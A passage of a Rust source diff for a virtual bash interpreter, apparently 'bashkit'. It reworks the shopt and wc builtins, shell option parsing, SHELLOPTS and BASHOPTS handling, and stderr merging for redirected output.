@@ -587,32 +666,24 @@ pub struct Shopt; #[async_trait] impl Builtin for Shopt { async fn execute(&self, ctx: Context<'_>) -> Result { - if ctx.args.is_empty() { - // List all options with their status - let mut output = String::new(); - for opt in SHOPT_OPTIONS { - let key = format!("SHOPT_{}", opt); - let on = ctx.variables.get(&key).map(|v| v == "1").unwrap_or(false); - output.push_str(&format!("{:<15}\t{}\n", opt, if on { "on" } else { "off" })); - } - return Ok(ExecResult::ok(output)); - } - let mut mode: Option = None; // 's'=set, 'u'=unset, 'q'=query, 'p'=print + let mut print = false; // -p alongside -s/-u: list those options let mut opts: Vec = Vec::new(); let mut set_o = false; // -o: operate on `set -o` options for arg in ctx.args { - if arg.starts_with('-') && opts.is_empty() { + if arg.starts_with('-') && arg.len() > 1 && opts.is_empty() { for ch in arg.chars().skip(1) { match ch { 'o' => set_o = true, - // -p combines with -s/-u/-q as a print request. - 'p' if mode.is_some() => {} - 's' | 'u' | 'q' | 'p' => mode = Some(ch), + 'p' => print = true, + 's' | 'u' | 'q' => mode = Some(ch), _ => { return Ok(ExecResult::err( - format!("bash: shopt: -{}: invalid option\n", ch), + format!( + "bash: shopt: -{}: invalid option\nshopt: usage: shopt [-pqsu] [-o] [optname ...]\n", + ch + ), 2, )); } @@ -622,111 +693,87 @@ impl Builtin for Shopt { opts.push(arg.to_string()); } } + if mode.is_none() && print { + mode = Some('p'); + } if set_o { return Ok(shopt_set_o(ctx.variables, mode, &opts)); } + // `shopt -s`/`-u` with no names lists the options that are on/off. + if opts.is_empty() && matches!(mode, Some('s' | 'u')) { + let want = mode == Some('s'); + let mut out = String::new(); + for (opt, _) in SHOPT_OPTIONS { + let on = shopt_on(ctx.variables, opt); + if on == want { + out.push_str(&Self::line(opt, on, print)); + } + } + return Ok(ExecResult::ok(out)); + } + // Each unknown name is reported and skipped (status 1); the // valid names around it still apply. let mut err = String::new(); - if !opts.is_empty() { - opts.retain(|opt| { - let known = SHOPT_OPTIONS.contains(&opt.as_str()); - if !known { - err.push_str(&format!("bash: shopt: {opt}: invalid shell option name\n")); - } - known - }); - if !err.is_empty() { - let mut result = if opts.is_empty() { - ExecResult::ok(String::new()) - } else { - Self::run_valid(ctx, mode, opts) - }; - result.stderr = err.into(); - result.exit_code = 1; - return Ok(result); + opts.retain(|opt| { + let known = shopt_known(opt); + if !known { + err.push_str(&format!("bash: shopt: {opt}: invalid shell option name\n")); } + known + }); + let mut result = Self::run_valid(ctx, mode, opts); + if !err.is_empty() { + result.stderr = err.into(); + result.exit_code = 1; } - Ok(Self::run_valid(ctx, mode, opts)) + Ok(result) } } impl Shopt { + fn line(opt: &str, on: bool, reusable: bool) -> String { + if reusable { + format!("shopt {} {}\n", if on { "-s" } else { "-u" }, opt) + } else { + format!("{:<15}\t{}\n", opt, if on { "on" } else { "off" }) + } + } + /// Run `shopt` on names already checked against `SHOPT_OPTIONS`. + /// Listing or querying named options fails (status 1) when any of + /// them is off, as in bash. fn run_valid(ctx: Context<'_>, mode: Option, opts: Vec) -> ExecResult { match mode { - Some('s') => { - for opt in &opts { - ctx.variables - .insert(format!("SHOPT_{}", opt), "1".to_string()); - } - ExecResult::ok(String::new()) - } - Some('u') => { + Some(c @ ('s' | 'u')) => { for opt in &opts { - ctx.variables.remove(&format!("SHOPT_{}", opt)); + ctx.variables.insert( + format!("SHOPT_{}", opt), + if c == 's' { "1" } else { "0" }.to_string(), + ); } ExecResult::ok(String::new()) } - Some('q') => { - // Query: exit 0 if all named options are on, 1 otherwise - let all_on = opts.iter().all(|opt| { - let key = format!("SHOPT_{}", opt); - ctx.variables.get(&key).map(|v| v == "1").unwrap_or(false) - }); - ExecResult { - stdout: crate::StreamData::new(), - stderr: crate::StreamData::new(), - exit_code: if all_on { 0 } else { 1 }, - control_flow: crate::interpreter::ControlFlow::None, - ..Default::default() - } - } - Some('p') => { - // Print in reusable format - let mut output = String::new(); - let list = if opts.is_empty() { - SHOPT_OPTIONS - .iter() - .map(|s| s.to_string()) - .collect::>() + _ => { + let names: Vec<&str> = if opts.is_empty() { + SHOPT_OPTIONS.iter().map(|(n, _)| *n).collect() } else { - opts.clone() + opts.iter().map(String::as_str).collect() }; - for opt in &list { - let key = format!("SHOPT_{}", opt); - let on = ctx.variables.get(&key).map(|v| v == "1").unwrap_or(false); - output.push_str(&format!("shopt {} {}\n", if on { "-s" } else { "-u" }, opt)); - } - ExecResult::ok(output) - } - None => { - // No flag: show status of named options - if opts.is_empty() { - // Same as listing all - let mut output = String::new(); - for opt in SHOPT_OPTIONS { - let key = format!("SHOPT_{}", opt); - let on = ctx.variables.get(&key).map(|v| v == "1").unwrap_or(false); - output.push_str(&format!( - "{:<15}\t{}\n", - opt, - if on { "on" } else { "off" } - )); - } - return ExecResult::ok(output); - } let mut output = String::new(); - for opt in &opts { - let key = format!("SHOPT_{}", opt); - let on = ctx.variables.get(&key).map(|v| v == "1").unwrap_or(false); - output.push_str(&format!("{:<15}\t{}\n", opt, if on { "on" } else { "off" })); + let mut all_on = true; + for opt in names { + let on = shopt_on(ctx.variables, opt); + all_on &= on; + if mode != Some('q') { + output.push_str(&Self::line(opt, on, mode == Some('p'))); + } } - ExecResult::ok(output) + let code = if opts.is_empty() || all_on { 0 } else { 1 }; + ExecResult::with_code(output, code) } - _ => ExecResult::ok(String::new()), } } } diff --git a/crates/bashkit/src/builtins/wc.rs b/crates/bashkit/src/builtins/wc.rs index bb7cd1559..536c042c6 100644 --- a/crates/bashkit/src/builtins/wc.rs +++ b/crates/bashkit/src/builtins/wc.rs @@ -134,37 +134,43 @@ impl Builtin for Wc { if let Some(stdin) = ctx.stdin { let counts = count_data(stdin.as_bytes()); // Real bash: no padding for single-value stdin, padded for multiple values - let padded = flags.active_count() > 1; - output.push_str(&format_counts(&counts, &flags, None, padded)); + let width = if flags.active_count() > 1 { 7 } else { 1 }; + output.push_str(&format_counts(&counts, &flags, None, width)); output.push('\n'); } } else { - // Read from files + // Read every file first: the column width depends on all of them. + let mut counted = Vec::with_capacity(files.len()); for file in &files { let path = if file.starts_with('/') { std::path::PathBuf::from(file) } else { vfs_join(ctx.cwd, file) }; - + let regular = ctx + .fs + .stat(&path) + .await + .is_ok_and(|m| m.file_type.is_file()); match read_stream_file(&*ctx.fs, &path, "wc").await { Ok(data) => { - let counts = count_data(data.as_bytes()); - - total_lines += counts.lines; - total_words += counts.words; - total_bytes += counts.bytes; - total_chars += counts.chars; - if counts.max_line_length > total_max_line { - total_max_line = counts.max_line_length; - } - - output.push_str(&format_counts(&counts, &flags, Some(file), true)); - output.push('\n'); + counted.push((count_data(data.as_bytes()), regular && *file != "-")) } Err(e) => return Ok(e), } } + let width = number_width(&counted, flags.active_count()); + for ((counts, _), file) in counted.iter().zip(&files) { + total_lines += counts.lines; + total_words += counts.words; + total_bytes += counts.bytes; + total_chars += counts.chars; + if counts.max_line_length > total_max_line { + total_max_line = counts.max_line_length; + } + output.push_str(&format_counts(counts, &flags, Some(file), width)); + output.push('\n'); + } // Print total if multiple files if files.len() > 1 { @@ -179,7 +185,7 @@ impl Builtin for Wc { &totals, &flags, Some(&"total".to_string()), - true, + width, )); output.push('\n'); } @@ -218,14 +224,31 @@ fn count_data(bytes: &[u8]) -> TextCounts { } } -/// Format counts for output. -/// When `padded` is true, right-align numbers in 8-char fields (used for file output). -/// When `padded` is false, use minimal formatting like real bash stdin output. +/// GNU wc's `compute_number_width`: one file with one count is unpadded; +/// otherwise wide enough for the total size of the regular files, and at +/// least 7 when any input is not a regular file (its size is unknown). +fn number_width(counted: &[(TextCounts, bool)], active: usize) -> usize { + if counted.len() == 1 && active == 1 { + return 1; + } + let mut minimum = 1; + let mut total = 0usize; + for (counts, regular) in counted { + if *regular { + total = total.saturating_add(counts.bytes); + } else { + minimum = 7; + } + } + total.to_string().len().max(minimum) +} + +/// Format counts for output, each right-aligned in `width` columns. fn format_counts( counts: &TextCounts, flags: &WcFlags, filename: Option<&String>, - padded: bool, + width: usize, ) -> String { let mut values: Vec = Vec::new(); @@ -245,14 +268,8 @@ fn format_counts( values.push(counts.max_line_length); } - let result = if padded { - // Real bash uses 7-char wide fields separated by a space - let parts: Vec = values.iter().map(|v| format!("{:>7}", v)).collect(); - parts.join(" ") - } else { - let parts: Vec = values.iter().map(|v| v.to_string()).collect(); - parts.join(" ") - }; + let parts: Vec = values.iter().map(|v| format!("{v:>width$}")).collect(); + let result = parts.join(" "); if let Some(name) = filename { format!("{} {}", result, name) diff --git a/crates/bashkit/src/interpreter/declare.rs b/crates/bashkit/src/interpreter/declare.rs index bca160ad1..be0d42268 100644 --- a/crates/bashkit/src/interpreter/declare.rs +++ b/crates/bashkit/src/interpreter/declare.rs @@ -419,6 +419,13 @@ impl Interpreter { (!target.is_empty()).then(|| double_quote(target)) } else { match self.var_kind(name) { + // Computed from the live option state, never stored. + VarKind::Scalar | VarKind::Unset if name == "SHELLOPTS" => Some(declare_quote( + &crate::builtins::shellopts_value(&self.scoped.variables), + )), + VarKind::Scalar | VarKind::Unset if name == "BASHOPTS" => Some(declare_quote( + &crate::builtins::bashopts_value(&self.scoped.variables), + )), VarKind::Indexed => { let arr = &self.scoped.arrays[name]; (!(arr.is_empty() && novalue)).then(|| format_indexed_body(arr)) diff --git a/crates/bashkit/src/interpreter/mod.rs b/crates/bashkit/src/interpreter/mod.rs index f9ac9cc4d..456297a5f 100644 --- a/crates/bashkit/src/interpreter/mod.rs +++ b/crates/bashkit/src/interpreter/mod.rs @@ -362,6 +362,12 @@ pub(crate) struct ShellRef<'a> { /// Directory stack for `pushd`/`popd`/`dirs`. Direct mutable access backed /// by `Arc::make_mut` of the parent's Arc-wrapped stack. pub(crate) dir_stack: &'a mut Vec, + /// Command hash table (`hash`, `type`'s "is hashed"). + pub(crate) command_hash: &'a mut builtins::CommandHash, + /// `test -v NAME` answers, worked out by the interpreter (which knows + /// arrays, namerefs and dynamic variables) for each operand that follows + /// a `-v` in a `test`/`[` call. Empty for every other builtin. + pub(crate) set_vars: &'a [String], /// Registered builtin commands (read-only, accessed via `has_builtin`). pub(crate) builtins: &'a HashMap>, /// Host-owned builtin registry, when configured (read-only). Needed so @@ -1308,6 +1314,9 @@ struct ScopedState { /// `cwd`, not part of this vec. Previously stored as `_DIRSTACK_*` shell /// variables; now typed state so it can't be forged from a script. dir_stack: Arc>, + /// Command hash table: `$PATH` lookups remembered until `hash -r` or a + /// `PATH` assignment. A subshell gets a copy. + command_hash: Arc, } /// All interpreter state mutated inside a `$(...)` / arithmetic substitution @@ -1317,9 +1326,18 @@ struct ScopedState { /// (`Arc::make_mut`). For substitutions that don't mutate state at all (the /// common case — `$(echo $x)`, command queries) this saves an entire deep /// HashMap clone per substitution. +/// What `enter_output_region` changed, for `leave_output_region`. +struct OutputRegion { + callback: Option, + merge: bool, +} + /// Results gathered while a pipeline runs (see `execute_pipeline`). #[derive(Default)] struct PipelineAcc { + /// `merge_stderr` outside the pipeline: off inside a multi-stage one, + /// whose stages' stdout feeds a pipe. + merge: bool, statuses: Vec, stderr: crate::StreamData, stderr_truncated: bool, @@ -1352,6 +1370,7 @@ struct SubshellSnapshot { last_bg_pid: Option, seconds_base: (crate::time_compat::Instant, i64), bash_subshell: u32, + bashpid: u32, xtrace_depth: usize, err_trap_dormant: bool, line_base: usize, @@ -1481,6 +1500,17 @@ pub struct Interpreter { /// of the command about to run. A redirect `exec` installs applies from /// there on, so these mark where routing starts. sequence_accum: (usize, usize), + /// Inside a redirect region where fd 2 and fd 1 end up at the same place + /// (`{ ...; } 2>&1`, `f &>log`, `bash -c ... 2>&1`): each command's + /// stderr joins stdout as it finishes, so the two keep their order. + /// Off in command substitutions and multi-stage pipelines, whose stdout + /// goes somewhere else. + merge_stderr: bool, + /// The running command has a `PATH=...` prefix assignment: bash then + /// searches that PATH without the hash table and hashes nothing. + temp_path: bool, + /// `ShellRef::set_vars` for the running `test`/`[` call. + test_set_vars: Vec, /// `sequence_accum` as it was when `exec` last installed a target for /// fd 1 or 2: output written before that keeps going to the caller. exec_install_mark: (usize, usize), @@ -1522,6 +1552,9 @@ pub struct Interpreter { builtin_stdin_pipe: Option>, /// `$BASH_SUBSHELL`: subshell nesting (`( )`, `$( )`, pipeline stages, jobs). bash_subshell: u32, + /// `$BASHPID` of the subshell running now: a virtual pid from the job + /// table's sequence, 0 in the shell itself (whose `$BASHPID` is `$$`). + bashpid: u32, /// Extra `set -x` prefix levels: `$(...)`, `eval`, `source` and trap /// handlers each repeat PS4's first character once more (`++ cmd`). xtrace_depth: usize, @@ -2083,6 +2116,9 @@ impl Interpreter { // Synthetic, never read from the host (TM-INF rules). variables.insert("PATH".to_string(), DEFAULT_PATH.to_string()); variables.insert("SHELL".to_string(), "/bin/bash".to_string()); + // `$_` starts as the shell's own path (bash), so `set -u` scripts + // can read it before any command ran. + variables.insert("_".to_string(), "/bin/bash".to_string()); variables.insert("SHLVL".to_string(), "1".to_string()); variables.insert("OSTYPE".to_string(), "linux-gnu".to_string()); variables.insert("HOSTTYPE".to_string(), "x86_64".to_string()); @@ -2101,12 +2137,24 @@ impl Interpreter { RandomState::new().build_hasher().finish() as u32 }; + // Read-only from startup, as in bash: the user ids and parent pid + // (`UID=0 cmd` cannot fake them) and the option lists, which are + // computed on read (see `expand_variable`). + let mut var_attrs = HashMap::new(); + for name in ["UID", "EUID", "PPID"] { + var_attrs.insert(name.to_string(), VarAttrs::READONLY | VarAttrs::INTEGER); + } + for name in ["SHELLOPTS", "BASHOPTS"] { + var_attrs.insert(name.to_string(), VarAttrs::READONLY); + } + Self { fs, env: Arc::new(HashMap::new()), scoped: ScopedState { variables: Arc::new(variables), arrays: Arc::new(arrays), + var_attrs: Arc::new(var_attrs), ..Default::default() }, flags: BashFlags::empty(), @@ -2137,6 +2185,9 @@ impl Interpreter { source_depth: 0, last_command_name: String::new(), sequence_accum: (0, 0), + merge_stderr: false, + temp_path: false, + test_set_vars: Vec::new(), exec_install_mark: (0, 0), #[cfg(feature = "http_client")] http_client: None, @@ -2153,6 +2204,7 @@ impl Interpreter { builtin_stdout_pipe: None, builtin_stdin_pipe: None, bash_subshell: 0, + bashpid: 0, xtrace_depth: 0, getopts_char_idx: 0, last_bg_pid: None, @@ -2305,6 +2357,9 @@ impl Interpreter { source_depth: self.source_depth, last_command_name: self.last_command_name.clone(), sequence_accum: self.sequence_accum, + merge_stderr: false, + temp_path: false, + test_set_vars: Vec::new(), exec_install_mark: self.exec_install_mark, flags: self.flags, cwd: self.cwd.clone(), @@ -2347,6 +2402,7 @@ impl Interpreter { builtin_stdout_pipe: None, builtin_stdin_pipe: None, bash_subshell: self.bash_subshell + 1, + bashpid: self.jobs.lock().alloc_pid(), xtrace_depth: self.xtrace_depth, getopts_char_idx: self.getopts_char_idx, last_bg_pid: self.last_bg_pid.clone(), @@ -3515,6 +3571,9 @@ impl Interpreter { ) .await?; } + if self.merge_stderr { + Self::merge_stderr_into_stdout(&mut result); + } self.maybe_emit_output(&result.stdout, &result.stderr, emit_before); if top_level { self.flush_exec_passthrough(&mut result); @@ -3962,6 +4021,9 @@ impl Interpreter { return; } match result { + // fd 2 joins fd 1 here: the trace and substitution stderr were + // written before the command's output. + Ok(r) if self.merge_stderr => r.stdout = queued + &r.stdout, Ok(r) => r.stderr = queued + &r.stderr, Err(_) => { let later = std::mem::take(&mut self.subst_stderr); @@ -4117,6 +4179,7 @@ impl Interpreter { let snap = self.snapshot_subshell_state(); let saved_call_stack = self.call_stack.clone(); self.bash_subshell += 1; + self.enter_subshell_pid(); self.enter_nofork_scope(commands, true, SUBSHELL_PAREN); self.enter_subshell_err_scope(); let saved_exit = self.last_exit_code; @@ -4647,6 +4710,9 @@ impl Interpreter { self.counters.tick_loop(&self.limits)?; // Check condition (if empty, always true) + // The clauses see the `for` line, not the body's last one. + let for_line = self.line_base + arith_for.span.line(); + self.current_line = for_line; if !arith_for.condition.is_empty() { let condition = self.arith_for_expr(&arith_for.condition).await?; let cond_result = self.evaluate_arithmetic(&condition); @@ -4675,6 +4741,7 @@ impl Interpreter { // Execute step if !arith_for.step.is_empty() { + self.current_line = for_line; let step = self.arith_for_expr(&arith_for.step).await?; self.execute_arithmetic_with_side_effects(&step); } @@ -5534,20 +5601,6 @@ impl Interpreter { /// /// SECURITY: This re-invokes the virtual interpreter, NOT external bash. /// See threat model TM-ESC-015 for security analysis. - /// Map a `-o` option name to its internal variable representation. - fn resolve_shell_option_name(opt: &str) -> Option<(&'static str, &'static str)> { - match opt { - "errexit" => Some(("SHOPT_e", "1")), - "nounset" => Some(("SHOPT_u", "1")), - "xtrace" => Some(("SHOPT_x", "1")), - "verbose" => Some(("SHOPT_v", "1")), - "pipefail" => Some(("SHOPT_pipefail", "1")), - "noglob" => Some(("SHOPT_f", "1")), - "noclobber" => Some(("SHOPT_C", "1")), - _ => None, - } - } - /// Build the "invalid option" error real Bash prints when the shell is /// invoked with an unknown option (e.g. `bash --verison` or `bash -q`). /// Bash exits 2 and prints the offending option plus a usage line. We keep @@ -5562,19 +5615,24 @@ impl Interpreter { ) } - /// Parse `bash`/`sh` command-line arguments into structured form. - /// Returns `Err(ExecResult)` for --version/--help (already produced output). + /// Parse `bash`/`sh` command-line arguments into structured form, the + /// way bash's `parse_shell_options` does: options (`-x`, `+x`, `-o NAME`, + /// `-O SHOPT`, clusters like `-xe`) run until the first word that is not + /// one; `-` or `--` ends them and is dropped. `-c` (or `+c`) only marks + /// command mode: the command string is the first word after the options + /// (`bash -c -x 'echo hi'`), and the words after it are `$0`, `$1`, ... + /// Returns `Err(ExecResult)` for --version/--help and usage errors. #[allow(clippy::type_complexity, clippy::result_large_err)] fn parse_shell_args( shell_name: &str, args: &[String], ) -> std::result::Result< ( - Option, // command_string (-c) - Option, // script_file - Vec, // script_args - bool, // noexec - Vec<(&'static str, &'static str)>, // shell_opts + Option, // command_string (-c) + Option, // script_file + Vec, // script_args + bool, // noexec + Vec<(String, String)>, // shell_opts (variable, value) ), ExecResult, > { @@ -5582,12 +5640,14 @@ impl Interpreter { let mut script_file: Option = None; let mut script_args: Vec = Vec::new(); let mut noexec = false; - let mut shell_opts: Vec<(&str, &str)> = Vec::new(); + let mut want_command = false; + let mut shell_opts: Vec<(String, String)> = Vec::new(); let mut idx = 0; + let flag = |on: bool| if on { "1" } else { "0" }.to_string(); while idx < args.len() { - let arg = &args[idx]; - match arg.as_str() { + let arg = args[idx].as_str(); + match arg { "--version" => { return Err(ExecResult::ok(format!( "Bashkit {} (virtual {} interpreter)\n", @@ -5606,77 +5666,14 @@ impl Interpreter { \t-x\t\tPrint commands before execution (xtrace)\n\ \t-u\t\tError on unset variables (nounset)\n\ \t-o option\tSet option by name\n\ + \t-O shopt\tSet shopt option by name\n\ \t--version\tShow version\n\ \t--help\t\tShow this help\n", shell_name ))); } - "-c" => { - idx += 1; - if idx >= args.len() { - return Err(ExecResult::err( - format!("{}: -c: option requires an argument\n", shell_name), - 2, - )); - } - command_string = Some(args[idx].clone()); - idx += 1; - script_args = args[idx..].to_vec(); - break; - } - "-n" => { - noexec = true; - idx += 1; - } - "-e" => { - shell_opts.push(("SHOPT_e", "1")); - idx += 1; - } - "-x" => { - shell_opts.push(("SHOPT_x", "1")); - idx += 1; - } - "-u" => { - shell_opts.push(("SHOPT_u", "1")); - idx += 1; - } - "-v" => { - shell_opts.push(("SHOPT_v", "1")); - idx += 1; - } - "-f" => { - shell_opts.push(("SHOPT_f", "1")); - idx += 1; - } - "-o" => { - idx += 1; - if idx >= args.len() { - return Err(ExecResult::err( - format!("{}: -o: option requires an argument\n", shell_name), - 2, - )); - } - let opt = &args[idx]; - if let Some(pair) = Self::resolve_shell_option_name(opt) { - shell_opts.push(pair); - } else { - return Err(ExecResult::err( - format!("{}: set: {}: invalid option name\n", shell_name, opt), - 2, - )); - } - idx += 1; - } - "-i" | "-s" => { + "-" | "--" => { idx += 1; - } - "--" => { - idx += 1; - if idx < args.len() { - script_file = Some(args[idx].clone()); - idx += 1; - script_args = args[idx..].to_vec(); - } break; } s if s.starts_with("--") => { @@ -5685,23 +5682,16 @@ impl Interpreter { // rest) so valid options like `--norc` keep working, and // reject typos like `--verison` the way Bash does. let name = s.split('=').next().unwrap_or(s); + idx += 1; match name { - "--verbose" => { - shell_opts.push(("SHOPT_v", "1")); - idx += 1; - } + "--verbose" => shell_opts.push(("SHOPT_v".to_string(), flag(true))), // Accepted by Bash but not modelled here (no-op). "--login" | "--noprofile" | "--norc" | "--noediting" | "--posix" | "--restricted" | "--protected" | "--debugger" | "--debug" - | "--dump-strings" | "--dump-po-strings" => { - idx += 1; - } + | "--dump-strings" | "--dump-po-strings" => {} // These take an argument, as `--opt=VAL` or `--opt VAL`. "--rcfile" | "--init-file" | "--wordexp" => { - if s.contains('=') { - idx += 1; - } else { - idx += 1; + if !s.contains('=') { if idx >= args.len() { return Err(ExecResult::err( format!( @@ -5716,80 +5706,79 @@ impl Interpreter { _ => return Err(Self::shell_invalid_option(shell_name, s)), } } - s if s.starts_with('-') && s.len() > 1 => { - let chars: Vec = s.chars().skip(1).collect(); - let mut ci = 0; - let mut consumed_c = false; - while ci < chars.len() { - match chars[ci] { - 'n' => noexec = true, - 'e' => shell_opts.push(("SHOPT_e", "1")), - 'x' => shell_opts.push(("SHOPT_x", "1")), - 'u' => shell_opts.push(("SHOPT_u", "1")), - 'v' => shell_opts.push(("SHOPT_v", "1")), - 'f' => shell_opts.push(("SHOPT_f", "1")), - // Accepted by Bash at invocation but not acted on here. - 'a' | 'b' | 'h' | 'k' | 'm' | 'p' | 't' | 'B' | 'C' | 'E' | 'H' - | 'P' | 'T' | 'i' | 'l' | 'r' | 's' | 'D' => {} - 'c' => { - // -c consumes the next arg as the command string. - idx += 1; - if idx >= args.len() { + s if (s.starts_with('-') || s.starts_with('+')) && s.len() > 1 => { + let on = s.starts_with('-'); + idx += 1; + for c in s.chars().skip(1) { + match c { + 'c' => want_command = true, + 'n' => noexec = on, + // Accepted at invocation but not acted on here. + 'i' | 'l' | 'r' | 's' | 'D' => {} + 'o' | 'O' => { + let Some(name) = args.get(idx) else { return Err(ExecResult::err( - format!("{shell_name}: -c: option requires an argument\n"), + format!( + "{shell_name}: -{c}: option requires an argument\n" + ), 2, )); - } - command_string = Some(args[idx].clone()); - idx += 1; - script_args = args[idx..].to_vec(); - consumed_c = true; - break; - } - 'o' => { + }; idx += 1; - if idx >= args.len() { - return Err(ExecResult::err( - format!("{shell_name}: -o: option requires an argument\n"), - 2, - )); - } - match Self::resolve_shell_option_name(&args[idx]) { - Some(pair) => shell_opts.push(pair), + let var = if c == 'o' { + builtins::set_o_var_by_name(name).map(str::to_string) + } else { + builtins::shopt_known(name).then(|| format!("SHOPT_{name}")) + }; + match var { + Some(var) => shell_opts.push((var, flag(on))), None => { + let what = if c == 'o' { + "set: {name}: invalid option name" + } else { + "{name}: invalid shell option name" + }; return Err(ExecResult::err( format!( - "{shell_name}: set: {}: invalid option name\n", - args[idx] + "{shell_name}: {}\n", + what.replace("{name}", name) ), 2, )); } } } - other => { - return Err(Self::shell_invalid_option( - shell_name, - &format!("-{other}"), - )); - } + other => match builtins::set_o_var_by_letter(other) { + Some(var) => shell_opts.push((var.to_string(), flag(on))), + None => { + let sign = if on { '-' } else { '+' }; + return Err(Self::shell_invalid_option( + shell_name, + &format!("{sign}{other}"), + )); + } + }, } - ci += 1; } - if consumed_c { - break; - } - idx += 1; - } - _ => { - script_file = Some(arg.clone()); - idx += 1; - script_args = args[idx..].to_vec(); - break; } + _ => break, } } + if want_command { + let Some(cmd) = args.get(idx) else { + return Err(ExecResult::err( + format!("{shell_name}: -c: option requires an argument\n"), + 2, + )); + }; + command_string = Some(cmd.clone()); + script_args = args[idx + 1..].to_vec(); + } else if let Some(file) = args.get(idx) { + script_file = Some(file.clone()); + script_args = args[idx + 1..].to_vec(); + } + Ok((command_string, script_file, script_args, noexec, shell_opts)) } @@ -6007,17 +5996,7 @@ impl Interpreter { // Output the `bash` command's own redirects will route must not stream // from the child first (`bash -c 'echo x >&2' 2>/dev/null` printed x), // as for functions and compounds. - let has_output_redirect = redirects.iter().any(|r| { - !matches!( - r.kind, - RedirectKind::Input | RedirectKind::HereDoc | RedirectKind::HereString - ) - }); - let saved_callback = if has_output_redirect { - self.output_callback.take() - } else { - None - }; + let region = self.enter_output_region(redirects); // The warning is the child's first output, so a streaming caller sees // it before anything the child prints. if let Some(ref warning) = shlvl_warning { @@ -6040,13 +6019,8 @@ impl Interpreter { keeps_arg0: false, }); - let mut saved_opt_names: HashSet<&'static str> = HashSet::new(); for (var, val) in &shell_opts { - if !saved_opt_names.insert(*var) { - self.insert_variable_checked(var.to_string(), val.to_string()); - continue; - } - self.insert_variable_checked(var.to_string(), val.to_string()); + self.insert_variable_checked(var.clone(), val.clone()); } self.insert_variable_checked("OPTIND".to_string(), "1".to_string()); self.getopts_char_idx = 0; @@ -6082,9 +6056,7 @@ impl Interpreter { // Restore stdin self.pipeline_stdin = saved_stdin; - if let Some(cb) = saved_callback { - self.output_callback = Some(cb); - } + self.leave_output_region(region); self.pop_call_frame(); @@ -6108,6 +6080,50 @@ impl Interpreter { } } + fn merge_stderr_into_stdout(result: &mut ExecResult) { + if !result.stderr.is_empty() { + let err = std::mem::take(&mut result.stderr); + result.stdout.append(&err); + } + } + + /// Enter the body of a command whose `redirects` route output: its + /// output must not stream before they apply (the callback is held), and + /// when they leave fd 1 and fd 2 at one place stderr merges in order + /// (see `merge_stderr`). Undo with `leave_output_region`. + fn enter_output_region(&mut self, redirects: &[Redirect]) -> OutputRegion { + let callback = if Self::has_output_redirect(redirects) { + self.output_callback.take() + } else { + None + }; + let merge = self.merge_stderr; + if let Some(joined) = redirection::stdout_stderr_joined(redirects) { + self.merge_stderr = joined; + } + OutputRegion { callback, merge } + } + + fn leave_output_region(&mut self, region: OutputRegion) { + if let Some(cb) = region.callback { + self.output_callback = Some(cb); + } + self.merge_stderr = region.merge; + } + + /// Whether `redirects` route any output (anything but stdin-side ones). + fn has_output_redirect(redirects: &[Redirect]) -> bool { + redirects.iter().any(|r| { + !matches!( + r.kind, + RedirectKind::Input + | RedirectKind::HereDoc + | RedirectKind::HereDocStrip + | RedirectKind::HereString + ) + }) + } + /// `$SHLVL` for a shell started from one whose level is `parent`, following /// bash's `adjust_shell_level`: a level that is not a number counts as 0, a /// negative one lands on 0 rather than counting up from below, and a level @@ -6278,6 +6294,12 @@ impl Interpreter { /// have just taken a snapshot to undo this on return. See issue #1777. fn reset_state_for_child_shell(&mut self, in_place: bool) -> Option { self.line_base = 0; + // `export SHELLOPTS`: the child starts with the parent's `set -o` + // options (bash reads it from the environment at startup). + let inherited_opts = self + .var_attrs_get("SHELLOPTS") + .contains(VarAttrs::EXPORT) + .then(|| builtins::shellopts_value(&self.scoped.variables)); let exported_names: Vec = self .scoped .var_attrs @@ -6320,8 +6342,22 @@ impl Interpreter { next_vars.insert(name.to_string(), val.clone()); } } - // A new shell starts getopts afresh. + // A new shell starts getopts afresh, with `$_` naming the shell and + // a default PATH when it inherited none (`env -i bash`). next_vars.insert("OPTIND".to_string(), "1".to_string()); + next_vars.insert("_".to_string(), "/bin/bash".to_string()); + next_vars + .entry("PATH".to_string()) + .or_insert_with(|| DEFAULT_PATH.to_string()); + // bash sets these at startup whatever the environment holds. + next_vars + .entry("PWD".to_string()) + .or_insert_with(|| self.cwd.to_string_lossy().into_owned()); + for (name, value) in [("IFS", " \t\n"), ("PS2", "> "), ("PS4", "+ ")] { + next_vars + .entry(name.to_string()) + .or_insert_with(|| value.to_string()); + } // A new shell counts itself: the child's level is one above the one it // inherited, and it is exported so a grandchild counts from there. // The inherited value is what the child would read: an exported @@ -6365,6 +6401,12 @@ impl Interpreter { self.scoped.traps = Arc::new(ignored); // Reset SHOPT_* flag bitfield so options from the parent don't leak. self.flags = BashFlags::empty(); + // After the reset: inserting syncs the flag cache. + for name in inherited_opts.iter().flat_map(|opts| opts.split(':')) { + if let Some(var) = builtins::set_o_var_by_name(name) { + self.insert_variable_checked(var.to_string(), "1".to_string()); + } + } warning } } @@ -6538,7 +6580,10 @@ impl Interpreter { for command in commands { let emit_before = self.output_emit_count; self.sequence_accum = (stdout.len(), stderr.len()); - let result = self.execute_command(command).await?; + let mut result = self.execute_command(command).await?; + if self.merge_stderr { + Self::merge_stderr_into_stdout(&mut result); + } self.reap_coprocs(); self.maybe_emit_output(&result.stdout, &result.stderr, emit_before); stdout.append(&result.stdout); @@ -6596,6 +6641,8 @@ impl Interpreter { let mut acc = PipelineAcc::default(); let mut stdin_data: Option = None; let count = pipeline.commands.len(); + acc.merge = self.merge_stderr; + self.merge_stderr &= count == 1; for (i, command) in pipeline.commands.iter().enumerate() { if stream_from == Some(i) { @@ -6709,11 +6756,13 @@ impl Interpreter { #[inline(never)] fn finish_pipeline(&mut self, pipeline: &Pipeline, acc: PipelineAcc) -> ExecResult { let PipelineAcc { + merge, statuses: pipe_statuses, stderr, stderr_truncated, last: mut last_result, } = acc; + self.merge_stderr = merge; last_result.stderr = stderr; last_result.stderr_truncated |= stderr_truncated; @@ -7006,6 +7055,7 @@ impl Interpreter { self.bash_subshell += 1; } if subshell { + self.enter_subshell_pid(); self.enter_subshell_err_scope(); self.push_nofork_scope(self.nofork.target, SUBSHELL_PIPE); } @@ -7186,7 +7236,10 @@ impl Interpreter { self.condition_sequence_depth += usize::from(conditional); let result = self.execute_command(&list.first).await; self.condition_sequence_depth -= usize::from(conditional); - let result = result?; + let mut result = result?; + if self.merge_stderr { + Self::merge_stderr_into_stdout(&mut result); + } self.maybe_emit_output(&result.stdout, &result.stderr, emit_before); stdout.append(&result.stdout); stderr.append(&result.stderr); @@ -7273,7 +7326,10 @@ impl 